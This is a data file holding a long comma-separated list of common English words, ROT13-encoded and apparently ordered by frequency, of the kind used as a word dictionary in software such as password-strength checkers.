,frangr,rssrpgf,vena,cbyvfu,cebzvarag,aniny,frggyrzrag,qvivqrq,onfvf,erchoyvpna,ynathntrf,qvfgnapr,gerngzrag,pbagvahr,cebqhpg,zvyr,fbheprf,sbbgonyyre,sbezng,pyhof,yrnqrefuvc,vavgvny,bssref,bcrengvat,nirahr,bssvpvnyyl,pbyhzovn,tenqr,fdhnqeba,syrrg,creprag,snez,yrnqref,nterrzrag,yvxryl,rdhvczrag,jrofvgr,zbhag,terj,zrgubq,genafsreerq,vagraqrq,eranzrq,veba,nfvn,erfreir,pncnpvgl,cbyvgvpf,jvqryl,npgvivgl,nqinaprq,eryngvbaf,fpbggvfu,qrqvpngrq,perj,sbhaqre,rcvfbqrf,ynpx,nzbhag,ohvyq,rssbegf,pbaprcg,sbyybjf,beqrerq,yrnirf,cbfvgvir,rpbabzl,ragregnvazrag,nssnvef,zrzbevny,novyvgl,vyyvabvf,pbzzhavgvrf,pbybe,grkg,envyebnq,fpvragvsvp,sbphf,pbzrql,freirf,rkpunatr,raivebazrag,pnef,qverpgvba,betnavmrq,svez,qrfpevcgvba,ntrapl,nanylfvf,checbfr,qrfgeblrq,erprcgvba,cynaarq,erirnyrq,vasnagel,nepuvgrpgher,tebjvat,srnghevat,ubhfrubyq,pnaqvqngr,erzbirq,fvghngrq,zbqryf,xabjyrqtr,fbyb,grpuavpny,betnavmngvbaf,nffvtarq,pbaqhpgrq,cnegvpvcngrq,ynetryl,chepunfrq,ertvfgre,tnvarq,pbzovarq,urnqdhnegref,nqbcgrq,cbgragvny,cebgrpgvba,fpnyr,nccebnpu,fcernq,vaqrcraqrapr,zbhagnvaf,gvgyrq,trbtencul,nccyvrq,fnsrgl,zvkrq,npprcgrq,pbagvahrf,pncgherq,envy,qrsrng,cevapvcny,erpbtavmrq,yvrhgranag,zragvbarq,frzv,bjare,wbvag,yvoreny,npgerff,genssvp,perngvba,onfvp,abgrf,havdhr,fhcerzr,qrpynerq,fvzcyl,cynagf,fnyrf,znffnpuhfrggf,qrfvtangrq,cnegvrf,wnmm,pbzcnerq,orpbzrf,erfbheprf,gvgyrf,pbapreg,yrneavat,erznva,grnpuvat,irefvbaf,pbagrag,nybatfvqr,eribyhgvba,fbaf,oybpx,cerzvre,vzcnpg,punzcvbaf,qvfgevpgf,trarengvba,rfgvzngrq,ibyhzr,vzntr,fvgrf,nppbhag,ebyrf,fcbeg,dhnegre,cebivqvat,mbar,lneq,fpbevat,pynffrf,cerfrapr,cresbeznaprf,ercerfragngvirf,ubfgrq,fcyvg,gnhtug,bevtva,bylzcvp,pynvzf,pevgvpf,snpvyvgl,bppheerq,fhssrerq,zhavpvcny,qnzntr,qrsvarq,erfhygrq,erfcrpgviryl,rkcnaqrq,cyngsbez,qensg,bccbfvgvba,rkcrpgrq,rqhpngvbany,bagnevb,pyvzngr,ercbegf,ngynagvp,fheebhaqvat,cresbezvat,erqhprq,enaxrq,nyybjf,ovegu,abzvangrq,lbhatre,arjyl,xbat,cbfvgvbaf,gurngre,cuvynqrycuvn,urevgntr,svanyf,qvfrnfr,fvkgu,ynjf,erivrjf,pbafgvghgvba,genqvgvba,fjrqvfu,gurzr,svpgvba,ebzr,zrqvpvar,genvaf,erfhygvat,rkvfgvat,qrchgl,raivebazragny,ynobhe,pynffvpny,qrirybc,snaf,tenagrq,erprvir,nygreangvir,ortvaf,ahpyrne,snzr,ohevrq,pbaarpgrq,vqragvsvrq,cnynpr,snyyf,yrggref,pbzong,fpvraprf,rssbeg,ivyyntrf,vafcverq,ertvbaf,gbjaf,pbafreingvir,pubfra,navznyf,ynobe,nggnpxf,zngrevnyf,lneqf,fgrry,ercerfragngvir,bepurfgen,crnx,ragvgyrq,bssvpvnyf,ergheavat,ersrerapr,abegujrfg,vzcrevny,pbairagvba,rknzcyrf,bprna,choyvpngvba,cnvagvat,fhofrdhrag,serdhragyl,eryvtvba,oevtnqr,shyyl,fvqrf,npgf,przrgrel,eryngviryl,byqrfg,fhttrfgrq,fhpprrqrq,npuvrirq,nccyvpngvba,cebtenzzr,pryyf,ibgrf,cebzbgvba,tenqhngr,nezrq,fhccyl,sylvat,pbzzhavfg,svtherf,yvgrenel,argureynaqf,xbern,jbeyqjvqr,pvgvmraf,1950f,snphygl,qenj,fgbpx,frngf,bpphcvrq,zrgubqf,haxabja,negvpyrf,pynvz,ubyqf,nhgubevgvrf,nhqvrapr,fjrqra,vagreivrj,bognvarq,pbiref,frggyrq,genafsre,znexrq,nyybjvat,shaqvat,punyyratr,fbhgurnfg,hayvxr,pebja,evfr,cbegvba,genafcbegngvba,frpgbe,cunfr,cebcregvrf,rqtr,gebcvpny,fgnaqneqf,vafgvghgvbaf,cuvybfbcul,yrtvfyngvir,uvyyf,oenaq,shaq,pbasyvpg,hanoyr,sbhaqvat,ershfrq,nggrzcgf,zrgerf,creznarag,fgneevat,nccyvpngvbaf,perngvat,rssrpgvir,nverq,rkgrafvir,rzcyblrq,rarzl,rkcnafvba,ovyyobneq,enax,onggnyvba,zhygv,iruvpyr,sbhtug,nyyvnapr,pngrtbel,cresbez,srqrengvba,cbrgel,oebamr,onaqf,ragel,iruvpyrf,ohernh,znkvzhz,ovyyvba,gerrf,vagryyvtrapr,terngrfg,fperra,ersref,pbzzvffvbarq,tnyyrel,vawhel,pbasvezrq,frggvat,gerngl,nqhyg,nzrevpnaf,oebnqpnfgvat,fhccbegvat,cvybg,zbovyr,jevgref,cebtenzzvat,rkvfgrapr,fdhnq,zvaarfbgn,pbcvrf,xberna,cebivapvny,frgf,qrsrapr,bssvprf,ntevphygheny,vagreany,pber,abegurnfg,ergverzrag,snpgbel,npgvbaf,cerirag,pbzzhavpngvbaf,raqvat,jrrxyl,pbagnvavat,shapgvbaf,nggrzcgrq,vagrevbe,jrvtug,objy,erpbtavgvba,vapbecbengrq,vapernfvat,hygvzngryl,qbphzragnel,qrevirq,nggnpxrq,ylevpf,zrkvpna,rkgreany,puhepurf,praghevrf,zrgebcbyvgna,fryyvat,bccbfrq,crefbaary,zvyy,ivfvgrq,cerfvqragvny,ebnqf,cvrprf,abejrtvna,pbagebyyrq,18gu,erne,vasyhraprq,jerfgyvat,jrncbaf,ynhapu,pbzcbfre,ybpngvbaf,qrirybcvat,pvephvg,fcrpvsvpnyyl,fghqvbf,funerq,pnany,jvfpbafva,choyvfuvat,nccebirq,qbzrfgvp,pbafvfgrq,qrgrezvarq,pbzvp,rfgnoyvfuzrag,rkuvovgvba,fbhgujrfg,shry,ryrpgebavp,pncr,pbairegrq,rqhpngrq,zryobhear,uvgf,jvaf,cebqhpvat,abejnl,fyvtugyl,bpphe,fheanzr,vqragvgl,ercerfrag,pbafgvghrapl,shaqf,cebirq,yvaxf,fgehpgherf,nguyrgvp,oveqf,pbagrfg,hfref,cbrg,vafgvghgvba,qvfcynl,erprvivat,ener,pbagnvarq,thaf,zbgvba,cvnab,grzcrengher,choyvpngvbaf,cnffratre,pbagevohgrq,gbjneq,pngurqeny,vaunovgnagf,nepuvgrpg,rkvfg,nguyrgvpf,zhfyvz,pbhefrf,nonaqbarq,fvtany,fhpprffshyyl,qvfnzovthngvba,graarffrr,qlanfgl,urnivyl,znelynaq,wrjf,ercerfragvat,ohqtrg,jrngure,zvffbhev,vagebqhpgvba,snprq,cnve,puncry,ersbez,urvtug,ivrganz,bpphef,zbgbe,pnzoevqtr,ynaqf,sbphfrq,fbhtug,cngvragf,funcr,vainfvba,purzvpny,vzcbegnapr,pbzzhavpngvba,fryrpgvba,ertneqvat,ubzrf,ibvibqrfuvc,znvagnvarq,obebhtu,snvyher,ntrq,cnffvat,ntevphygher,bertba,grnpuref,sybj,cuvyvccvarf,genvy,friragu,cbeghthrfr,erfvfgnapr,ernpuvat,artngvir,snfuvba,fpurqhyrq,qbjagbja,havirefvgvrf,genvarq,fxvyyf,fprarf,ivrjf,abgnoyl,glcvpny,vapvqrag,pnaqvqngrf,ratvarf,qrpnqrf,pbzcbfvgvba,pbzzhar,punva,vap.,nhfgevn,fnyr,inyhrf,rzcyblrrf,punzore,ertneqrq,jvaaref,ertvfgrerq,gnfx,vairfgzrag,pbybavny,fjvff,hfre,ragveryl,synt,fgberf,pybfryl,ragenapr,ynvq,wbheanyvfg,pbny,rdhny,pnhfrf,ghexvfu,dhrorp,grpuavdhrf,cebzbgr,whapgvba,rnfvyl,qngrf,xraghpxl,fvatncber,erfvqrapr,ivbyrapr,nqinapr,fheirl,uhznaf,rkcerffrq,cnffrf,fgerrgf,qvfgvathvfurq,dhnyvsvrq,sbyx,rfgnoyvfu,rtlcg,negvyyrel,ivfhny,vzcebirq,npghny,svavfuvat,zrqvhz,cebgrva,fjvgmreynaq,cebqhpgvbaf,bcrengr,cbiregl,arvtuobeubbq,betnavfngvba,pbafvfgvat,pbafrphgvir,frpgvbaf,cnegarefuvc,rkgrafvba,ernpgvba,snpgbe,pbfgf,obqvrf,qrivpr,rguavp,enpvny,syng,bowrpgf,puncgre,vzcebir,zhfvpvnaf,pbhegf,pbagebirefl,zrzorefuvc,zretrq,jnef,rkcrqvgvba,vagrerfgf,neno,pbzvpf,tnva,qrfpevorf,zvavat,onpurybe,pevfvf,wbvavat,qrpnqr,1930f,qvfgevohgrq,unovgng,ebhgrf,neran,plpyr,qvivfvbaf,oevrsyl,ibpnyf,qverpgbef,qrterrf,bowrpg,erpbeqvatf,vafgnyyrq,nqwnprag,qrznaq,ibgrq,pnhfvat,ohfvarffrf,ehyrq,tebhaqf,fgneerq,qenja,bccbfvgr,fgnaqf,sbezny,bcrengrf,crefbaf,pbhagvrf,pbzcrgr,jnir,vfenryv,apnn,erfvtarq,oevrs,terrpr,pbzovangvba,qrzbtencuvpf,uvfgbevna,pbagnva,pbzzbajrnygu,zhfvpvna,pbyyrpgrq,nethrq,ybhvfvnan,frffvba,pnovarg,cneyvnzragnel,ryrpgbeny,ybna,cebsvg,erthyneyl,pbafreingvba,vfynzvp,chepunfr,17gu,punegf,erfvqragvny,rneyvrfg,qrfvtaf,cnvagvatf,fheivirq,zbgu,vgrzf,tbbqf,terl,naavirefnel,pevgvpvfz,vzntrf,qvfpbirel,bofreirq,haqretebhaq,cebterff,nqqvgvbanyyl,cnegvpvcngr,gubhfnaqf,erqhpr,ryrzragnel,bjaref,fgngvat,vend,erfbyhgvba,pncgher,gnax,ebbzf,ubyyljbbq,svanapr,dhrrafynaq,ervta,znvagnva,vbjn,ynaqvat,oebnq,bhgfgnaqvat,pvepyr,cngu,znahsnpghevat,nffvfgnapr,frdhrapr,tzvan,pebffvat,yrnqf,havirefny,funcrq,xvatf,nggnpurq,zrqvriny,ntrf,zrgeb,pbybal,nssrpgrq,fpubynef,bxynubzn,pbnfgny,fbhaqgenpx,cnvagrq,nggraq,qrsvavgvba,zrnajuvyr,checbfrf,gebcul,erdhver,znexrgvat,cbchynevgl,pnoyr,zngurzngvpf,zvffvffvccv,ercerfragf,fpurzr,nccrny,qvfgvapg,snpgbef,npvq,fhowrpgf,ebhtuyl,grezvany,rpbabzvpf,frangbe,qvbprfr,cevk,pbagenfg,netragvan,pmrpu,jvatf,eryvrs,fgntrf,qhgvrf,16gu,abiryf,npphfrq,juvyfg,rdhvinyrag,punetrq,zrnfher,qbphzragf,pbhcyrf,erdhrfg,qnavfu,qrsrafvir,thvqr,qrivprf,fgngvfgvpf,perqvgrq,gevrf,cnffratref,nyyvrq,senzr,chregb,cravafhyn,pbapyhqrq,vafgehzragf,jbhaqrq,qvssreraprf,nffbpvngr,sberfgf,nsgrejneqf,ercynpr,erdhverzragf,nivngvba,fbyhgvba,bssrafvir,bjarefuvc,vaare,yrtvfyngvba,uhatnevna,pbagevohgvbaf,npgbef,genafyngrq,qraznex,fgrnz,qrcraqvat,nfcrpgf,nffhzrq,vawherq,frirer,nqzvggrq,qrgrezvar,fuber,grpuavdhr,neeviny,zrnfherf,genafyngvba,qrohgrq,qryvirerq,ergheaf,erwrpgrq,frcnengrq,ivfvgbef,qnzntrq,fgbentr,nppbzcnavrq,znexrgf,vaqhfgevrf,ybffrf,thys,punegre,fgengrtl,pbecbengr,fbpvnyvfg,fbzrjung,fvtavsvpnagyl,culfvpf,zbhagrq,fngryyvgr,rkcrevraprq,pbafgnag,eryngvir,cnggrea,erfgberq,orytvhz,pbaarpgvphg,cnegaref,uneineq,ergnvarq,argjbexf,cebgrpgrq,zbqr,negvfgvp,cnenyyry,pbyynobengvba,qrongr,vaibyivat,wbhearl,yvaxrq,fnyg,nhgubef,pbzcbaragf,pbagrkg,bpphcngvba,erdhverf,bppnfvbanyyl,cbyvpvrf,gnzvy,bggbzna,eribyhgvbanel,uhatnel,cbrz,irefhf,tneqraf,nzbatfg,nhqvb,znxrhc,serdhrapl,zrgref,begubqbk,pbagvahvat,fhttrfgf,yrtvfyngher,pbnyvgvba,thvgnevfg,rvtugu,pynffvsvpngvba,cenpgvprf,fbvy,gbxlb,vafgnapr,yvzvg,pbirentr,pbafvqrenoyr,enaxvat,pbyyrtrf,pninyel,pragref,qnhtugref,gjva,rdhvccrq,oebnqjnl,aneebj,ubfgf,engrf,qbznva,obhaqnel,neenatrq,12gu,jurernf,oenmvyvna,sbezvat,engvat,fgengrtvp,pbzcrgvgvbaf,genqvat,pbirevat,onygvzber,pbzzvffvbare,vasenfgehpgher,bevtvaf,ercynprzrag,cenvfrq,qvfp,pbyyrpgvbaf,rkcerffvba,hxenvar,qevira,rqvgrq,nhfgevna,fbyne,rafher,cerzvrerq,fhpprffbe,jbbqra,bcrengvbany,uvfcnavp,pbapreaf,encvq,cevfbaref,puvyqubbq,zrrgf,vasyhragvny,ghaary,rzcyblzrag,gevor,dhnyvslvat,nqncgrq,grzcbenel,pryroengrq,nccrnevat,vapernfvatyl,qrcerffvba,nqhygf,pvarzn,ragrevat,ynobengbel,fpevcg,sybjf,ebznavn,nppbhagf,svpgvbany,cvggfohetu,npuvrir,zbanfgrel,senapuvfr,sbeznyyl,gbbyf,arjfcncref,eriviny,fcbafberq,cebprffrf,ivraan,fcevatf,zvffvbaf,pynffvsvrq,13gu,naahnyyl,oenapurf,ynxrf,traqre,znaare,nqiregvfvat,abeznyyl,znvagranapr,nqqvat,punenpgrevfgvpf,vagrtengrq,qrpyvar,zbqvsvrq,fgebatyl,pevgvp,ivpgvzf,znynlfvn,nexnafnf,anmv,erfgbengvba,cbjrerq,zbahzrag,uhaqerqf,qrcgu,15gu,pbagebirefvny,nqzveny,pevgvpvmrq,oevpx,ubabenel,vavgvngvir,bhgchg,ivfvgvat,ovezvatunz,cebterffvir,rkvfgrq,pneoba,1920f,perqvgf,pbybhe,evfvat,urapr,qrsrngvat,fhcrevbe,svyzrq,yvfgvat,pbyhza,fheebhaqrq,beyrnaf,cevapvcyrf,greevgbevrf,fgehpx,cnegvpvcngvba,vaqbarfvn,zbirzragf,vaqrk,pbzzrepr,pbaqhpg,pbafgvghgvbany,fcvevghny,nzonffnqbe,ibpny,pbzcyrgvba,rqvaohetu,erfvqvat,gbhevfz,svaynaq,ornef,zrqnyf,erfvqrag,gurzrf,ivfvoyr,vaqvtrabhf,vaibyirzrag,onfva,ryrpgevpny,hxenvavna,pbapregf,obngf,fglyrf,cebprffvat,eviny,qenjvat,irffryf,rkcrevzragny,qrpyvarq,gbhevat,fhccbegref,pbzcvyngvba,pbnpuvat,pvgrq,qngrq,ebbgf,fgevat,rkcynvarq,genafvg,genqvgvbanyyl,cbrzf,zvavzhz,ercerfragngvba,14gu,eryrnfrf,rssrpgviryl,nepuvgrpgheny,gevcyr,vaqvpngrq,terngyl,ryringvba,pyvavpny,cevagrq,10gu,cebcbfny,crnxrq,cebqhpref,ebznavmrq,encvqyl,fgernz,vaavatf,zrrgvatf,pbhagre,ubhfrubyqre,ubabhe,ynfgrq,ntrapvrf,qbphzrag,rkvfgf,fheivivat,rkcrevraprf,ubabef,ynaqfpncr,uheevpnar,uneobe,cnary,pbzcrgvat,cebsvyr,irffry,snezref,yvfgf,erirahr,rkprcgvba,phfgbzref,11gu,cnegvpvcnagf,jvyqyvsr,hgnu,ovoyr,tenqhnyyl,cerfreirq,ercynpvat,flzcubal,ortha,ybatrfg,fvrtr,cebivaprf,zrpunavpny,traer,genafzvffvba,ntragf,rkrphgrq,ivqrbf,orarsvgf,shaqrq,engrq,vafgehzragny,avagu,fvzvyneyl,qbzvangrq,qrfgehpgvba,cnffntr,grpuabybtvrf,gurernsgre,bhgre,snpvat,nssvyvngrq,bccbeghavgvrf,vafgehzrag,tbireazragf,fpubyne,ribyhgvba,punaaryf,funerf,frffvbaf,jvqrfcernq,bppnfvbaf,ratvarref,fpvragvfgf,fvtavat,onggrel,pbzcrgvgvir,nyyrtrq,ryvzvangrq,fhccyvrf,whqtrf,unzcfuver,ertvzr,cbegenlrq,cranygl,gnvjna,qravrq,fhoznevar,fpubynefuvc,fhofgnagvny,genafvgvba,ivpgbevna,uggc,arireguryrff,svyrq,fhccbegf,pbagvaragny,gevorf,engvb,qbhoyrf,hfrshy,ubabhef,oybpxf,cevapvcyr,ergnvy,qrcnegher,enaxf,cngeby,lbexfuver,inapbhire,vagre,rkgrag,nstunavfgna,fgevc,envyjnlf,pbzcbarag,betna,flzoby,pngrtbevrf,rapbhentrq,noebnq,pvivyvna,crevbqf,geniryrq,jevgrf,fgehttyr,vzzrqvngr,erpbzzraqrq,nqncgngvba,rtlcgvna,tenqhngvat,nffnhyg,qehzf,abzvangvba,uvfgbevpnyyl,ibgvat,nyyvrf,qrgnvyrq,npuvrirzrag,crepragntr,nenovp,nffvfg,serdhrag,gbherq,nccyl,naq/be,vagrefrpgvba,znvar,gbhpuqbja,guebar,cebqhprf,pbagevohgvba,rzretrq,bognva,nepuovfubc,frrx,erfrnepuref,erznvaqre,cbchyngvbaf,pyna,svaavfu,birefrnf,svsn,yvprafrq,purzvfgel,srfgvinyf,zrqvgreenarna,vawhevrf,navzngrq,frrxvat,choyvfure,ibyhzrf,yvzvgf,irahr,wrehfnyrz,trarengrq,gevnyf,vfynz,lbhatrfg,ehyvat,tynftbj,treznaf,fbatjevgre,crefvna,zhavpvcnyvgvrf,qbangrq,ivrjrq,orytvna,pbbcrengvba,cbfgrq,grpu,qhny,ibyhagrre,frggyref,pbzznaqrq,pynvzvat,nccebiny,qryuv,hfntr,grezvahf,cnegyl,ryrpgevpvgl,ybpnyyl,rqvgvbaf,cerzvrer,nofrapr,oryvrs,genqvgvbaf,fgnghr,vaqvpngr,znabe,fgnoyr,nggevohgrq,cbffrffvba,znantvat,ivrjref,puvyr,bireivrj,frrq,erthyngvbaf,rffragvny,zvabevgl,pnetb,frtzrag,raqrzvp,sbehz,qrnguf,zbaguyl,cynlbssf,rerpgrq,cenpgvpny,znpuvarf,fhoheo,eryngvba,zef.,qrfprag,vaqbbe,pbagvahbhf,punenpgrevmrq,fbyhgvbaf,pnevoorna,erohvyg,freovna,fhzznel,pbagrfgrq,cflpubybtl,cvgpu,nggraqvat,zhunzznq,graher,qeviref,qvnzrgre,nffrgf,iragher,chax,nveyvarf,pbapragengvba,nguyrgrf,ibyhagrref,cntrf,zvarf,vasyhraprf,fphycgher,cebgrfg,sreel,orunys,qensgrq,nccnerag,shegurezber,enatvat,ebznavna,qrzbpenpl,ynaxn,fvtavsvpnapr,yvarne,q.p.,pregvsvrq,ibgref,erpbirerq,gbhef,qrzbyvfurq,obhaqnevrf,nffvfgrq,vqragvsl,tenqrf,ryfrjurer,zrpunavfz,1940f,ercbegrqyl,nvzrq,pbairefvba,fhfcraqrq,cubgbtencul,qrcnegzragf,orvwvat,ybpbzbgvirf,choyvpyl,qvfchgr,zntnmvarf,erfbeg,pbairagvbany,cyngsbezf,vagreangvbanyyl,pncvgn,frggyrzragf,qenzngvp,qreol,rfgnoyvfuvat,vaibyirf,fgngvfgvpny,vzcyrzragngvba,vzzvtenagf,rkcbfrq,qvirefr,ynlre,infg,prnfrq,pbaarpgvbaf,orybatrq,vagrefgngr,hrsn,betnavfrq,nohfr,qrcyblrq,pnggyr,cnegvnyyl,svyzvat,znvafgernz,erqhpgvba,nhgbzngvp,eneryl,fhofvqvnel,qrpvqrf,zretre,pbzcerurafvir,qvfcynlrq,nzraqzrag,thvarn,rkpyhfviryl,znaunggna,pbapreavat,pbzzbaf,enqvpny,freovn,oncgvfg,ohfrf,vavgvngrq,cbegenvg,uneobhe,pubve,pvgvmra,fbyr,hafhpprffshy,znahsnpgherq,rasbeprzrag,pbaarpgvat,vapernfrf,cnggreaf,fnperq,zhfyvzf,pybguvat,uvaqh,havapbecbengrq,fragraprq,nqivfbel,gnaxf,pnzcnvtaf,syrq,ercrngrq,erzbgr,eroryyvba,vzcyrzragrq,grkgf,svggrq,gevohgr,jevgvatf,fhssvpvrag,zvavfgref,21fg,qribgrq,whevfqvpgvba,pbnpurf,vagrecergngvba,cbyr,ohfvarffzna,creh,fcbegvat,cevprf,phon,erybpngrq,bccbarag,neenatrzrag,ryvgr,znahsnpghere,erfcbaqrq,fhvgnoyr,qvfgvapgvba,pnyraqne,qbzvanag,gbhevfg,rneavat,cersrpgher,gvrf,cercnengvba,natyb,chefhr,jbefuvc,nepunrbybtvpny,punapryybe,onatynqrfu,fpberf,genqrq,ybjrfg,ubeebe,bhgqbbe,ovbybtl,pbzzragrq,fcrpvnyvmrq,ybbc,neevivat,snezvat,ubhfrq,uvfgbevnaf,'gur,cngrag,chcvyf,puevfgvnavgl,bccbaragf,nguraf,abegujrfgrea,zncf,cebzbgvat,erirnyf,syvtugf,rkpyhfvir,yvbaf,abesbyx,uroerj,rkgrafviryl,ryqrfg,fubcf,npdhvfvgvba,iveghny,erabjarq,znetva,batbvat,rffragvnyyl,venavna,nygreangr,fnvyrq,ercbegvat,pbapyhfvba,bevtvangrq,grzcrengherf,rkcbfher,frpherq,ynaqrq,evsyr,senzrjbex,vqragvpny,znegvny,sbphfrf,gbcvpf,onyyrg,svtugref,orybatvat,jrnygul,artbgvngvbaf,ribyirq,onfrf,bevragrq,nperf,qrzbpeng,urvtugf,erfgevpgrq,inel,tenqhngvba,nsgrezngu,purff,vyyarff,cnegvpvcngvat,iregvpny,pbyyrpgvir,vzzvtengvba,qrzbafgengrq,yrns,pbzcyrgvat,betnavp,zvffvyr,yrrqf,ryvtvoyr,tenzzne,pbasrqrengr,vzcebirzrag,pbaterffvbany,jrnygu,pvapvaangv,fcnprf,vaqvpngrf,pbeerfcbaqvat,ernpurf,ercnve,vfbyngrq,gnkrf,pbatertngvba,engvatf,yrnthrf,qvcybzngvp,fhozvggrq,jvaqf,njnerarff,cubgbtencuf,znevgvzr,avtrevn,npprffvoyr,navzngvba,erfgnhenagf,cuvyvccvar,vanhtheny,qvfzvffrq,nezravna,vyyhfgengrq,erfreibve,fcrnxref,cebtenzzrf,erfbhepr,trargvp,vagreivrjf,pnzcf,erthyngvba,pbzchgref,cersreerq,geniryyrq,pbzcnevfba,qvfgvapgvir,erperngvba,erdhrfgrq,fbhgurnfgrea,qrcraqrag,oevfonar,oerrqvat,cynlbss,rkcnaq,obahf,tnhtr,qrcnegrq,dhnyvsvpngvba,vafcvengvba,fuvccvat,fynirf,inevngvbaf,fuvryq,gurbevrf,zhavpu,erpbtavfrq,rzcunfvf,snibhe,inevnoyr,frrqf,haqretenqhngr,greevgbevny,vagryyrpghny,dhnyvsl,zvav,onaarq,cbvagrq,qrzbpengf,nffrffzrag,whqvpvny,rknzvangvba,nggrzcgvat,bowrpgvir,cnegvny,punenpgrevfgvp,uneqjner,cenqrfu,rkrphgvba,bggnjn,zrger,qehz,rkuvovgvbaf,jvguqerj,nggraqnapr,cuenfr,wbheanyvfz,ybtb,zrnfherq,reebe,puevfgvnaf,gevb,cebgrfgnag,gurbybtl,erfcrpgvir,ngzbfcurer,ohqquvfg,fhofgvghgr,pheevphyhz,shaqnzragny,bhgoernx,enoov,vagrezrqvngr,qrfvtangvba,tybor,yvorengvba,fvzhygnarbhfyl,qvfrnfrf,rkcrevzragf,ybpbzbgvir,qvssvphygvrf,znvaynaq,arcny,eryrtngrq,pbagevohgvat,qngnonfr,qrirybczragf,irgrena,pneevrf,enatrf,vafgehpgvba,ybqtr,cebgrfgf,bonzn,arjpnfgyr,rkcrevzrag,culfvpvna,qrfpevovat,punyyratrf,pbeehcgvba,qrynjner,nqiragherf,rafrzoyr,fhpprffvba,eranvffnapr,gragu,nygvghqr,erprvirf,nccebnpurq,pebffrf,flevn,pebngvn,jnefnj,cebsrffvbanyf,vzcebirzragf,jbea,nveyvar,pbzcbhaq,crezvggrq,cerfreingvba,erqhpvat,cevagvat,fpvragvfg,npgvivfg,pbzcevfrf,fvmrq,fbpvrgvrf,ragref,ehyre,tbfcry,rnegudhnxr,rkgraq,nhgbabzbhf,pebngvna,frevny,qrpbengrq,eryrinag,vqrny,tebjf,tenff,gvre,gbjref,jvqre,jrysner,pbyhzaf,nyhzav,qrfpraqnagf,vagresnpr,erfreirf,onaxvat,pbybavrf,znahsnpgheref,zntargvp,pybfher,cvgpurq,ibpnyvfg,cerfreir,raebyyrq,pnapryyrq,rdhngvba,2000f,avpxanzr,ohytnevn,urebrf,rkvyr,zngurzngvpny,qrznaqf,vachg,fgehpgheny,ghor,fgrz,nccebnpurf,netragvar,nkvf,znahfpevcg,vaurevgrq,qrcvpgrq,gnetrgf,ivfvgf,irgrenaf,ertneq,erzbiny,rssvpvrapl,betnavfngvbaf,pbaprcgf,yronaba,znatn,crgrefohet,enyyl,fhccyvrq,nzbhagf,lnyr,gbheanzragf,oebnqpnfgf,fvtanyf,cvybgf,nmreonvwna,nepuvgrpgf,ramlzr,yvgrenpl,qrpynengvba,cynpvat,onggvat,vaphzorag,ohytnevna,pbafvfgrag,cbyy,qrsraqrq,ynaqznex,fbhgujrfgrea,envq,erfvtangvba,geniryf,pnfhnygvrf,cerfgvtvbhf,anzryl,nvzf,erpvcvrag,jnesner,ernqref,pbyyncfr,pbnpurq,pbagebyf,ibyyrlonyy,pbhc,yrffre,irefr,cnvef,rkuvovgrq,cebgrvaf,zbyrphyne,novyvgvrf,vagrtengvba,pbafvfg,nfcrpg,nqibpngr,nqzvavfgrerq,tbireavat,ubfcvgnyf,pbzzraprq,pbvaf,ybeqf,inevngvba,erfhzrq,pnagba,negvsvpvny,ryringrq,cnyz,qvssvphygl,pvivp,rssvpvrag,abegurnfgrea,vaqhpgrq,enqvngvba,nssvyvngr,obneqf,fgnxrf,olmnagvar,pbafhzcgvba,servtug,vagrenpgvba,boynfg,ahzorerq,frzvanel,pbagenpgf,rkgvapg,cerqrprffbe,ornevat,phygherf,shapgvbany,arvtuobevat,erivfrq,plyvaqre,tenagf,aneengvir,ersbezf,nguyrgr,gnyrf,ersyrpg,cerfvqrapl,pbzcbfvgvbaf,fcrpvnyvfg,pevpxrgre,sbhaqref,frdhry,jvqbj,qvfonaqrq,nffbpvngvbaf,onpxrq,gurerol,cvgpure,pbzznaqvat,obhyrineq,fvatref,pebcf,zvyvgvn,erivrjrq,pragerf,jnirf,pbafrdhragyl,sbegerff,gevohgnel,cbegvbaf,obzovat,rkpryyrapr,arfg,cnlzrag,znef,cynmn,havgl,ivpgbevrf,fpbgvn,snezf,abzvangvbaf,inevnag,nggnpxvat,fhfcrafvba,vafgnyyngvba,tencuvpf,rfgngrf,pbzzragf,npbhfgvp,qrfgvangvba,irahrf,fheeraqre,ergerng,yvoenevrf,dhnegreonpx,phfgbzf,orexryrl,pbyynobengrq,tngurerq,flaqebzr,qvnybthr,erpehvgrq,funatunv,arvtuobhevat,cflpubybtvpny,fnhqv,zbqrengr,rkuvovg,vaabingvba,qrcbg,ovaqvat,oehafjvpx,fvghngvbaf,pregvsvpngr,npgviryl,funxrfcrner,rqvgbevny,cerfragngvba,cbegf,erynl,angvbanyvfg,zrgubqvfg,nepuvirf,rkcregf,znvagnvaf,pbyyrtvngr,ovfubcf,znvagnvavat,grzcbenevyl,rzonffl,rffrk,jryyvatgba,pbaarpgf,ersbezrq,oratny,erpnyyrq,vapurf,qbpgevar,qrrzrq,yrtraqnel,erpbafgehpgvba,fgngrzragf,cnyrfgvavna,zrgre,npuvrirzragf,evqref,vagrepunatr,fcbgf,nhgb,npphengr,pubehf,qvffbyirq,zvffvbanel,gunv,bcrengbef,r.t.,trarengvbaf,snvyvat,qrynlrq,pbex,anfuivyyr,creprvirq,irarmhryn,phyg,rzretvat,gbzo,nobyvfurq,qbphzragrq,tnvavat,pnalba,rcvfpbcny,fgberq,nffvfgf,pbzcvyrq,xrenyn,xvybzrgref,zbfdhr,tenzzl,gurberz,havbaf,frtzragf,tynpvre,neevirf,gurngevpny,pvephyngvba,pbasreraprf,puncgref,qvfcynlf,pvephyne,nhguberq,pbaqhpgbe,srjre,qvzrafvbany,angvbajvqr,yvtn,lhtbfynivn,crre,ivrganzrfr,sryybjfuvc,nezvrf,ertneqyrff,eryngvat,qlanzvp,cbyvgvpvnaf,zvkgher,frevr,fbzrefrg,vzcevfbarq,cbfgf,oryvrsf,orgn,ynlbhg,vaqrcraqragyl,ryrpgebavpf,cebivfvbaf,snfgrfg,ybtvp,urnqdhnegrerq,perngrf,punyyratrq,orngra,nccrnyf,cynvaf,cebgbpby,tencuvp,nppbzzbqngr,vendv,zvqsvryqre,fcna,pbzzragnel,serrfglyr,ersyrpgrq,cnyrfgvar,yvtugvat,ohevny,iveghnyyl,onpxvat,centhr,gevony,urve,vqragvsvpngvba,cebgbglcr,pevgrevn,qnzr,nepu,gvffhr,sbbgntr,rkgraqvat,cebprqherf,cerqbzvanagyl,hcqngrq,eulguz,ceryvzvanel,pnsr,qvfbeqre,ceriragrq,fhoheof,qvfpbagvahrq,ergvevat,beny,sbyybjref,rkgraqf,znffnper,wbheanyvfgf,pbadhrfg,yneinr,cebabhaprq,orunivbhe,qvirefvgl